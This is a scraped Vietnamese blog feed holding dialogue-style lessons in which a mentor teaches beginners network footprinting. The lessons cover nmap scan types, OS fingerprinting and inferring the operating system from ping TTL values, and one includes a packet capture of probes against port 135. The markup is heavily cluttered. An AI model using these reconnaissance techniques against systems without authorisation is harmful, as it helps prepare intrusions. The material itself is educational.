172.17.1.100.40516 &gt; 172.17.1.60.135: SFP 2921059574:2921059574(0) win 4096 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:27.572985 IP 172.17.1.100.40517 &gt; 172.17.1.60.135: . ack 1 win 3072 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:28.372001 IP 172.17.1.100.40508 &gt; 172.17.1.60.135: S 2921059575:2921059575(0) win 2048 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:28.372613 IP 172.17.1.60.135 &gt; 172.17.1.100.40508: S 2733080285:2733080285(0) ack 2921059576 win 16430 &lt;mss wscale=""&gt;&lt;br /&gt;00:17:28.372861 IP 172.17.1.100.40508 &gt; 172.17.1.60.135: R 2921059576:2921059576(0) win 0&lt;br /&gt;00:17:28.487967 IP 172.17.1.100.40509 &gt; 172.17.1.60.135: S 2921059576:2921059576(0) win 2048 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:28.488447 IP 172.17.1.60.135 &gt; 172.17.1.100.40509: S 3276928965:3276928965(0) ack 2921059577 win 16430 &lt;mss wscale=""&gt;&lt;br /&gt;00:17:28.488682 IP 172.17.1.100.40509 &gt; 172.17.1.60.135: R 2921059577:2921059577(0) win 0&lt;br /&gt;00:17:28.603969 IP 172.17.1.100.40510 &gt; 172.17.1.60.135: S 2921059577:2921059577(0) win 1024 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:28.604513 IP 172.17.1.60.135 &gt; 172.17.1.100.40510: S 2813980465:2813980465(0) ack 2921059578 win 16430 &lt;mss wscale=""&gt;&lt;br /&gt;00:17:28.604749 IP 172.17.1.100.40510 &gt; 172.17.1.60.135: R 2921059578:2921059578(0) win 0&lt;br /&gt;00:17:28.715967 IP 172.17.1.100.40511 &gt; 172.17.1.60.135: S 2921059578:2921059578(0) win 3072 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:28.716443 IP 172.17.1.60.135 &gt; 172.17.1.100.40511: S 3083838161:3083838161(0) ack 2921059579 win 16430 &lt;mss wscale=""&gt;&lt;br /&gt;00:17:28.716681 IP 172.17.1.100.40511 &gt; 172.17.1.60.135: R 2921059579:2921059579(0) win 0&lt;br /&gt;00:17:28.831987 IP 172.17.1.100.40512 &gt; 172.17.1.60.135: S 2921059579:2921059579(0) win 4096 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:28.832454 IP 172.17.1.60.135 &gt; 172.17.1.100.40512: S 2276644684:2276644684(0) ack 2921059580 win 16430 &lt;mss wscale=""&gt;&lt;br /&gt;00:17:28.832689 IP 172.17.1.100.40512 &gt; 172.17.1.60.135: R 2921059580:2921059580(0) win 0&lt;br /&gt;00:17:28.947998 IP 172.17.1.100.40513 &gt; 172.17.1.60.135: S 2921059580:2921059580(0) win 3072 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:28.948595 IP 172.17.1.60.135 &gt; 172.17.1.100.40513: S 3388933545:3388933545(0) ack 2921059581 win 16430 &lt;mss wscale=""&gt;&lt;br /&gt;00:17:28.948837 IP 172.17.1.100.40513 &gt; 172.17.1.60.135: R 2921059581:2921059581(0) win 0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tôi nói tiếp:&lt;br /&gt;"Khoan hẵng bàn chi tiết đoạn trên. Để cho mấy đứa khi nào rảnh thì so sánh với đoạn trước và tự tìm hiểu xem lần này có gì khác. Đồng ý hông?"&lt;br /&gt;&lt;br /&gt;'docco' trả lời:&lt;br /&gt;"Dạ em thấy vậy cũng hay nhưng mà đang hứng chí tử, không bàn thêm cũng uổng, hì hì."&lt;br /&gt;&lt;br /&gt;'ccxx' tham gia:&lt;br /&gt;"Nãy giờ em ngồi nghĩ ngợi thì thấy những điều mình vừa bàn quả là mở cửa cho cả một thế giới bao la và thú vị. Em không biết mấy ông thích cái trò chui vô máy của người ta để làm gì chớ riêng em, biết được cặn kẽ những điều mình thắc mắc còn lý thú hơn nhiều. Thôi, để tụi em tiếp tục nghiền ngẫm thì mới hay lận."&lt;br /&gt;&lt;br /&gt;Tôi tiếp lời:&lt;br /&gt;"Suy nghĩ của bé Như chỉnh lắm. Từ chỗ em thắc mắc về cái option -O dẫn đến việc mình thấy nmap gởi các gói tin và nhận các gói tin cho trường hợp cổng đóng và cổng mở để cung cấp kết quả, tuy ngắn ngủi nhưng nó bao hàm một quá trình tìm tòi và thử nghiệm khá dài. Đó là chưa kể trường hợp em điều chỉnh code của nmap để nó gởi gói có kích thước khác thường hoặc có sequence khác thường hoặc có checksum sai hoặc có tổng hợp các TCP flags bất thường để tìm hiểu cách phản ứng của hệ điều hành. Những cái này không phải là những thao tác trực tiếp để "mở cổng chui vô" như những rookie thường muốn biết mà nó đi sâu hơn nhiều. Đến lúc thật sự hiểu đến sự thể, việc "mở cổng chui vô" chẳng còn là điều gì đáng để thích thú nữa bởi vì em nắm được những thứ rộng và sâu hơn nhiều."&lt;br /&gt;&lt;br /&gt;'docco' đáp:&lt;br /&gt;"Dạ bọn em hiểu ý anh mà ".&lt;br /&gt;&lt;br /&gt;Tôi cười:&lt;br /&gt;"Thôi há, anh phải dông... nãy giờ ngồi lâu quá rồi. Mấy đứa rảnh thì ngâm kíu thử đoạn ở trên xem có gì vui hông nha?"&lt;br /&gt;&lt;br /&gt;'cuti' kêu lên:&lt;br /&gt;"Khoan đã anh, cho em thêm một phút nữa."&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Gì đó ku?"&lt;br /&gt;&lt;br /&gt;'cuti' hỏi:&lt;br /&gt;"Em mới vừa rà qua đoạn sniff thứ nhì thì thấy có cái tcp flag gì ngộ ghê. Cái gì mà SE vậy anh? Em thấy có SYN, FIN, ACK, RST, PSH, URG thôi mà? sao bây giờ lòi đâu ra thêm cái SE kỳ vậy?"&lt;br /&gt;&lt;br /&gt;Tôi cười khoái trá và đáp:&lt;br /&gt;"Ngộ vậy với vui chớ em . Thử tìm hiểu xem SE là cái gì đi hén? Nếu tìm hông ra thì anh sẽ giải thích sau vậy."&lt;br /&gt;&lt;br /&gt;Tôi nói tiếp:&lt;br /&gt;"Thôi anh logout đây nhe. Có gì mail cho anh. Bye mấy đứa."&lt;br /&gt;&lt;br /&gt;15/08/2006&lt;br /&gt;&lt;còn p=""&gt;&lt;br /&gt;&lt;/còn&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/mss&gt;&lt;/mss&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/wscale&gt;&lt;/mss&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-12</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-12.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:12:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-8191714472906136572</guid><description>&lt;title&gt;Rookie12&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-family: arial; font-weight: bold;" href="./Rookie12_files/filelist.xml" rel="File-List"&gt; &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:blue; 	text-decoration:underline; 	text-underline:single;} p 	{margin-right:0cm; 	mso-margin-top-alt:auto; 	mso-margin-bottom-alt:auto; 	margin-left:0cm; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} pre 	{margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Courier New";} span.maintitle 	{mso-style-name:maintitle;} span.mainmenu 	{mso-style-name:mainmenu;} span.topmenu 	{mso-style-name:topmenu;} span.forumtitle 	{mso-style-name:forumtitle;} span.nav 	{mso-style-name:nav;} span.moderator 	{mso-style-name:moderator;} span.uprofile 	{mso-style-name:uprofile;} span.online 	{mso-style-name:online;} span.postbody 	{mso-style-name:postbody;} span.quotetxt 	{mso-style-name:quotetxt;} span.smltxt 	{mso-style-name:smltxt;} span.smltxt-b 	{mso-style-name:smltxt-b;} span.gensmall 	{mso-style-name:gensmall;} span.gen 	{mso-style-name:gen;} span.copyright 	{mso-style-name:copyright;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-family: arial; font-weight: bold;" class="Section1"&gt; &lt;p class="MsoNormal"&gt;&lt;span class="postbody"&gt;15. tcp/ip info, thật hay giả? -  II: &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Mấy ngày qua tôi nhận e-mail dồn dập  từ bộ tứ 'cuti', 'ccxx', 'haothu' và 'docco', về những điều các cô cậu tìm thấy  trong những lần táy máy. Tôi trả lời bộ tứ một cách tổng quát và sơ sài, đại  loại như "tốt lắm, thử thêm một tí nữa đi" hoặc "đã đến mức này, ráng động não  một tí đi em"..... Mấy cô cậu bức xúc lắm và nhất định hẹn gặp nhau vào cuối  tuần để gỡ rối. Tôi nhận lời sẽ online trên YIM khoảng trưa thứ Bảy.  &lt;/i&gt;&lt;/span&gt;&lt;i&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Như lần trước, bộ tứ đã có mặt sẵn  trên YIM và đã tập trung trong một "conference". Tôi tham gia và nhanh chóng đi  qua bước chào hỏi.&lt;/span&gt;&lt;/i&gt;&lt;span class="postbody"&gt; &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Lần này 'docco' mở đầu:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em có cả đống thắc mắc và em nghĩ những thắc mắc này bọn em đứa  nào cũng thắc mắc như nhau. Em khởi đầu nha anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tấp bi liền hả?  ;-). OK. shoot." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' gõ ngay lên câu  hỏi thứ nhất:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cả tuần nay em thử mày mò tìm  trên Internet xem web server nào chạy những software khác ngoài Apache và IIS,  hai cái này thì dễ rồi vì chúng phổ biến quá. Em muốn tìm các web site chạy  những thứ khác như iPlanet, Domino, Zeus... mà không tìm ra. Em đoán là còn  nhiều loại khác nữa. Anh chỉ dùm em chỗ nào trên Internet có những thông tin này  được không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cái này anh nghĩ đâu khó em? Em chỉ cần dùng  google và tìm qua các từ khoá điển hình một tí là có ngay. Anh nghĩ em nên khởi  đầu với từ khoá "netcraft" và từ đó mà đi ra :)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Sau một hồi, có lẽ vừa thử xong từ khoá tôi cung cấp, 'docco'  cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng là có kinh nghiệm thì lợi đủ  điều. Em mò mẫm hoài mà chẳng được cái gì cho rõ ràng. Anh chỉ cho em một từ  khoá là thấy có tùm lum thứ để xem rồi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Trước  khi đi sâu vào chuyện tcp/ip, em muốn nêu lên một chuyện. Chuyện này vừa giúp  trong việc thăm dò 'footprint' mà vừa chứng minh cho ông Khoa thấy là 'kiddie'  khó có khả năng dùng các công cụ cho hiệu quả nếu họ không có đủ kiến thức hoặc  không chịu khó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, nhất định 'khai chiến' hả em? OK, cứ  việc thoải mái." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' tiếp tục:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không anh, tính em muốn làm cho rõ chuyện thôi.  Em có nghe qua về nmap rất nhiều cho nên cũng tải về dùng thử. Tất nhiên là em  chọn phiên bản dành cho Windows, có giao diện đồ hình hẳn hòi. Tuy vậy, em mất  rất nhiều thời gian để làm quen với nó nhưng vẫn chưa nắm được bao nhiêu. Nếu  nmap không phải là một công cụ được xếp loại 'một trong mười công cụ đứng đầu  trong bộ đồ nghề security' thì có lẽ em đã vứt nó qua một bên vì quá khó. Công  cụ này thích hợp cho dân chuyên mà thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi hỏi:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy em muốn  chứng minh là 'kiddie' không thể dùng nmap đúng tiềm năng của công cụ này?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ. Em muốn chứng minh là dân lơ tơ mơ như... em thì nhìn vào  nmap chỉ có nước... nhìn mà thôi nếu như không chịu khó mày mò."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' chen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhưng tui thấy trong chuyện này bà Như dùng kinh nghiệm bản thân  để đưa ra một cái nhận xét chung cho tất cả các 'kiddie' coi bộ không thoả đáng  à nha." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' phản hồi:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tui chưa chứng minh gì hết mà ông. Để tui đưa  ra vài điểm thì ông sẽ thấy thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx'  nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Khi khởi động chương trình nmap,  thứ nhất: nó hoàn toàn sử dụng các thuật ngữ chuyên môn để đặt tên cho các nút  bấm, các chi tiết của chương trình. Tui hỏi ông, SYN stealth scan là cái  gì? Tôi không dám chắc có 'kiddie' nào hiểu nổi cái gọi là SYN stealth cả  đâu. Đó là chưa kể cả đống những thứ khác; nào là Stealth FIN, rồi đến  Null Scan, Xmas. Tui ráng tìm hiểu xem thử những cái này là gì  nhưng muốn khùng luôn vì cái này liên hệ đến cái kia. Ông thử tìm hiểu xem mấy  cái đó là gì và mất bao lâu để nắm được? (nếu như ông không bỏ dở nữa đường)."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' chêm vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừ, mấy cái thuật ngữ kia tuy chỉ là thuật ngữ nhưng nếu mình  không hiểu nó là gì, lý do tại sao phải dùng nó thì hơi mệt thiệt."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' chống chế:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thì dùng cái gì lại không tìm hiểu tính năng của nó bà Như? Tui  đoán 'kiddie' (như tui chẳng hạn) chỉ cần theo tài liệu có sẵn mà gõ thôi. Nếu  cái này không được thì thử cái khác. Vấn đề ở chỗ là nó mang lại cho mình kết  quả gì." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' chộp ngay câu này để tấn  công:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đó đó, ông nói câu này chỉ chẳng khác  gì chấp nhận là 'kiddie' chỉ nhắm mắt gõ lệnh mà không cần suy nghĩ. Nếu vậy thì  ông vô tình đồng ý với quan điểm của tui rồi. Tui nghĩ để dùng một công cụ như  nmap mình phải hiểu rất rõ về tcp/ip, phải nắm rõ mỗi chọn lựa công cụ này cung  cấp làm việc ra sao để có thể ứng dụng một cách thích đáng cho mỗi trường hợp.  Nếu ông dùng nmap để scan một host nào đó và nó đã hoàn toàn cản các gói ICMP,  không cho ping, ông có thể ngộ nhận là host ấy không tồn tại hoặc offline nếu  như ông không dùng -P0. Cái GUI cho nmap thật ra chỉ là một phương tiện  cho những ai làm biếng gõ lệnh mà thôi nhưng để dùng thật sự thì phải hiểu các  chọn lựa, phối hợp để đạt được kết quả." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hay lắm.  Tiếp tục đi em :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' cảm thán:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà, không ngờ bà rành nmap đến như vậy. Cãi  với bà thì chắc tui không lại rồi đó nhưng tui vẫn tin rằng một công cụ được tạo  nên là để phục vụ người dùng thì không có lý gì người dùng phải nắm tất cả những  chi tiết kỹ thuật bên trong chương trình này thì mới dùng được. Ngoại trừ người  dùng muốn đạt mức độ chuyên về lãnh vực này." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' phản bác:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ui...  ông nói nghe mắc cười quá. Tất nhiên là công cụ được tạo ra để phục vụ người  dùng nhưng người dùng phải học cách sử dụng nó chớ? Công cụ càng đa năng, người  dùng cần mất nhiều thời gian để làm quen với nó. Cái xẻng cũng là công cụ, chiếc  xe xúc cũng là công cụ, ông nghĩ rằng học cách dùng xẻng và học cách điều khiển  chiếc xe xúc đòi hỏi công sức như nhau à? Điểm ông đưa ra chính là điểm để biện  bác cho lối suy nghĩ của 'kiddie' vì 'kiddie' chẳng cần biết đến cái tinh tế và  khả năng sâu xa của một công cụ mà chỉ cần biết nhắm mắt mà nhấn nút thôi. Tui  nói sai chỗ nào đâu à?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi xen vào can  gián:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thôi thôi, anh thấy bé Như nhà mình  nói và bảo vệ quan điểm của mình rất vững vàng. Cu Khoa thua 1-0 rồi đó nha.  Rồi, Duy muốn tiếp tục không em?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco'  lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, tiếp tục thì có biết bao  nhiêu chuyện tiếp tục hở anh? Hay là mình tiếp tục với chuyện tìm footprint từ  tcp/ip đi anh? Làm sao mình biết được những thông tin này từ tcp/ip?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Khi nói đến việc tìm footprint xuyên qua tcp/ip thì có nghĩa là  mình phải nắm vững về tcp/ip và các ứng dụng đặc thù trên từng hệ điều hành. Các  RFC đưa ra các tiêu chuẩn của mỗi giao thức, tuy nhiên RFC có những điểm không  cụ thể cho nên các nhóm ứng dụng cho các hệ điều hành đọc, hiểu và ứng dụng  chúng khác nhau. Bởi thế mới có những tiểu tiết khác nhau giúp cho mình có thể  nhận diện được footprint xuyên qua tcp/ip. Tuy vậy, mình nên nhớ rằng, bất cứ  thông tin nào thu thập được cũng mang tính tương đối mà thôi. Cũng như phần  trước mình đã bàn, càng thu thập được nhiều dữ kiện, càng có thể xác định chính  xác mục tiêu của mình." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' chen  vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Lỡ may em chưa rành tcp/ip thì liệu em  có hiểu nổi không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh tin là em vẫn hiểu được trên mặt nguyên  tắc. Tuy nhiên, muốn đi sâu vào thì có thể sẽ có những chướng ngại nếu chưa rành  tcp/ip. Ví dụ, em hiểu thế nào là TTL?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' ậm ừ:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ùm....  èm.... xí mê, xí mê, để em nghía cuốn sách một tí đã? :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi phá lên cười:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ai làm  gì mà xí mê, xê mí... ghê vậy? Em muốn coi mấy thì coi, anh chỉ hỏi bất chợt một  câu vậy thôi mà." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' hớn hở:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tìm ra rồi, TTL là 'Time To Live'. May mà mấy  cái e-book này cho search chớ không thì dò biết chừng nào cho ra trời? Anh hỏi  nữa đi? Em chắc thế nào cũng tìm ra được thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, mình đà  khía hay mình đang trắc nghiệm đây em? Mà thi oral kiểu này thì ăn gian quá, có  sẵn cái e-book trước măt để xem và trả lời. Anh mách cho một kế thế này. Khi em  muốn nắm về tcp/ip, em nên nghiên cứu một bức đồ hoạ về ip header, tcp header,  udp header.... và xem kỹ các fields và chức năng của chúng. Xong được cái  này là em đã nắm ít nhất 50% về giao thức này rồi. Nếu không nắm được những chi  tiết và giá trị bên trong một header thì đọc mãi đống chữ trong sách cũng chẳng  thu nhập được bao nhiêu đâu em." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco'  gật gù:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có lý. Trước giờ em cứ đọc đi đọc  lại nhưng ít để tâm đến mấy cái đồ hình về header của giao thức. Em phải xem lại  mới được." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Đến lượt 'haothu' lên  tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhưng mà hồi nãy anh nhắc đến TTL có  mục đích gì cụ thể cho việc phát hiện footprint không anh? Hay chỉ là một câu  hỏi chung chung thôi?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À... thật ra cái TTL cũng tiết lộ ít nhiều  thông tin đó em. Thử mở một cái command prompt lên và gõ: &lt;/span&gt;
&lt;br /&gt;&lt;span class="quotetxt"&gt;Code:&lt;/span&gt;&lt;span class="postbody"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span style=""&gt; &lt;/span&gt;C:\&gt;ping localhost&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt; &lt;p class="MsoNormal"&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;hay &lt;/span&gt;
&lt;br /&gt;&lt;span class="quotetxt"&gt;Code:&lt;/span&gt;&lt;span class="postbody"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span style=""&gt; &lt;/span&gt;C:\&gt;ping 127.0.0.1&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt; &lt;p class="MsoNormal"&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;xem thử nó báo cái gì đi em?  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Bộ tứ im lặng chừng một phút, sau đó  'ccxx' lên tiếng trước:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"A.... hoá ra là cái  TTL là vậy. Khi em thử ping, trên máy em nó báo 4 lần TTL=128. Trước giờ em  chẳng bao giờ để ý đến nó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, hỏi  qua 'cuti':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Con Linux của em có sẵn đó  không em?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' đáp liền:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ có đây anh? Để chi vậy anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em thử mở một cái console và gõ: &lt;/span&gt;
&lt;br /&gt;&lt;span class="quotetxt"&gt;Code:&lt;/span&gt;&lt;span class="postbody"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span style=""&gt; &lt;/span&gt;$ ping -c 4 localhost&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt; &lt;p class="MsoNormal"&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;xem thử nó báo cái gì?  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' trả lời ngay sau đó:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Độc thiệt là độc, nó báo TTL là 64. Em biết ý  anh rồi. Phải ý anh là mỗi hệ điều hành ấn định một TTL khác nhau và từ đó mình  có thể đoán được footprint không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng là như vậy  :). Em thông minh lắm." &lt;/span&gt;
&lt;br /&gt;
